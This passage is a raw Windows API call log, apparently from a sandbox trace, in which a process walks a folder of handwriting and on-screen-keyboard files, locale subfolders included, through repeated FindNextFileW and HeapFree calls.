lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0553f37, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="bg-BG", cAlternateFileName="")) returned 1 [0159.584] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.584] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7d126e12, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe46546cb, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe46546cb, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x69a5, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="Content.xml", cAlternateFileName="")) returned 1 [0159.584] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.584] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05550d5, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="da-DK", cAlternateFileName="")) returned 1 [0159.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.585] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0555b2c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="de-DE", cAlternateFileName="")) returned 1 [0159.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.585] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa055662c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="el-GR", cAlternateFileName="")) returned 1 [0159.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.585] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0557085, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="en-GB", cAlternateFileName="")) returned 1 [0159.585] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.585] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dd09d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0xe8231541, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="en-US", cAlternateFileName="")) returned 1 [0159.587] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.587] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05ddf5c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="es-ES", cAlternateFileName="")) returned 1 [0159.588] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.588] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05dea14, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="es-MX", cAlternateFileName="")) returned 1 [0159.588] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.588] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df011, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="et-EE", cAlternateFileName="")) returned 1 [0159.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.589] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa05df7b6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="fi-FI", cAlternateFileName="")) returned 1 [0159.589] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.589] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8f49e8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd11f8841, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd11f8841, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x186b84, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="FlickAnimation.avi", cAlternateFileName="")) returned 1 [0159.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.590] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06369df, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a32dfff, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="fr-FR", cAlternateFileName="")) returned 1 [0159.590] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.590] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa0637839, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a354279, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="fsdefinitions", cAlternateFileName="FSDEFI~1")) returned 1 [0159.593] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4599740 | out: hHeap=0x710000) returned 1 [0159.593] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd4, dwReserved0=0x115, dwReserved1=0xfffffd19, cFileName="auxpad.xml", cAlternateFileName="")) returned 1 [0159.595] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4599740 | out: hHeap=0x710000) returned 1 [0159.595] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x115, dwReserved1=0xfffffd19, cFileName="insert.xml", cAlternateFileName="")) returned 1 [0159.596] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4599740 | out: hHeap=0x710000) returned 1 [0159.596] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x2b5, dwReserved0=0x115, dwReserved1=0xfffffd19, cFileName="keypad.xml", cAlternateFileName="")) returned 1 [0159.599] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4599740 | out: hHeap=0x710000) returned 1 [0159.599] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e448143, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e448143, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e448143, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xadda, dwReserved0=0x115, dwReserved1=0xfffffd19, cFileName="main.xml", cAlternateFileName="")) returned 1 [0159.600] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4599740 | out: hHeap=0x710000) returned 1 [0159.600] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdd, dwReserved0=0x115, dwReserved1=0xfffffd19, cFileName="oskclearui.xml", cAlternateFileName="")) returned 1 [0159.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4599740 | out: hHeap=0x710000) returned 1 [0159.601] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x115, dwReserved1=0xfffffd19, cFileName="oskmenu.xml", cAlternateFileName="")) returned 1 [0159.601] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4599740 | out: hHeap=0x710000) returned 1 [0159.601] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3fbc74, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3fbc74, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3fbc74, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd5, dwReserved0=0x115, dwReserved1=0xfffffd19, cFileName="osknav.xml", cAlternateFileName="")) returned 1 [0159.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4599740 | out: hHeap=0x710000) returned 1 [0159.602] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xdb, dwReserved0=0x115, dwReserved1=0xfffffd19, cFileName="osknumpad.xml", cAlternateFileName="")) returned 1 [0159.602] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4599740 | out: hHeap=0x710000) returned 1 [0159.602] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e3d5a11, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e3d5a11, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e3d5a11, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0xd7, dwReserved0=0x115, dwReserved1=0xfffffd19, cFileName="oskpred.xml", cAlternateFileName="")) returned 1 [0159.603] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4599740 | out: hHeap=0x710000) returned 1 [0159.603] FindNextFileW (in: hFindFile=0x4532600, lpFindFileData=0x2eaf08c | out: lpFindFileData=0x2eaf08c*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x3e421ed8, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0x3e421ed8, ftLastAccessTime.dwHighDateTime=0x1d2a02a, ftLastWriteTime.dwLowDateTime=0x3e421ed8, ftLastWriteTime.dwHighDateTime=0x1d2a02a, nFileSizeHigh=0x0, nFileSizeLow=0x24f, dwReserved0=0x115, dwReserved1=0xfffffd19, cFileName="symbols.xml", cAlternateFileName="")) returned 1 [0159.603] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.604] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b63f64, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cf9a3, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="he-IL", cAlternateFileName="")) returned 1 [0159.604] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.604] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06cfce2, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="hr-HR", cAlternateFileName="")) returned 1 [0159.604] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.604] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa06d0656, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="hu-HU", cAlternateFileName="")) returned 1 [0159.604] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.605] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x7c8ce781, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xe382bd1f, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xe382bd1f, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0xb620, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="hwrcommonlm.dat", cAlternateFileName="")) returned 1 [0159.605] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x4588730 | out: hHeap=0x710000) returned 1 [0159.605] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x85c57278, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xb269cdea, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xb269cdea, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x79bc0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="hwrenclm.dat", cAlternateFileName="")) returned 1 [0159.608] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.608] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a026, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="ja-JP", cAlternateFileName="")) returned 1 [0159.609] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.609] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076a7a6, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="ko-KR", cAlternateFileName="")) returned 1 [0159.609] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.609] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076afd8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="LanguageModel", cAlternateFileName="LANGUA~1")) returned 1 [0159.610] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.610] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076b52b, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="lt-LT", cAlternateFileName="")) returned 1 [0159.611] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.611] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076ba6e, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3a0736, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="lv-LV", cAlternateFileName="")) returned 1 [0159.611] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.611] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0x98a4376e, ftCreationTime.dwHighDateTime=0x1d2a02a, ftLastAccessTime.dwLowDateTime=0xd1f30e81, ftLastAccessTime.dwHighDateTime=0x1d2a058, ftLastWriteTime.dwLowDateTime=0xd1f30e81, ftLastWriteTime.dwHighDateTime=0x1d2a058, nFileSizeHigh=0x0, nFileSizeLow=0x19f200, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="micaut.dll", cAlternateFileName="")) returned 1 [0159.612] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.612] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa076c75d, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="nl-NL", cAlternateFileName="")) returned 1 [0159.613] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.613] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d57c, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="pl-PL", cAlternateFileName="")) returned 1 [0159.613] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.613] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080d988, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="pt-BR", cAlternateFileName="")) returned 1 [0159.613] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: hHeap=0x710000) returned 1 [0159.613] FindNextFileW (in: hFindFile=0x4532640, lpFindFileData=0x2eaf308 | out: lpFindFileData=0x2eaf308*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0x17b8a1d2, ftCreationTime.dwHighDateTime=0x1d2a02b, ftLastAccessTime.dwLowDateTime=0xa080ddb8, ftLastAccessTime.dwHighDateTime=0x1d47ca3, ftLastWriteTime.dwLowDateTime=0x1a3c699c, ftLastWriteTime.dwHighDateTime=0x1d2a02b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xfffffd1b, dwReserved1=0x119, cFileName="pt-PT", cAlternateFileName="")) returned 1 [0159.614] HeapFree (in: hHeap=0x710000, dwFlags=0x0, lpMem=0x458c738 | out: 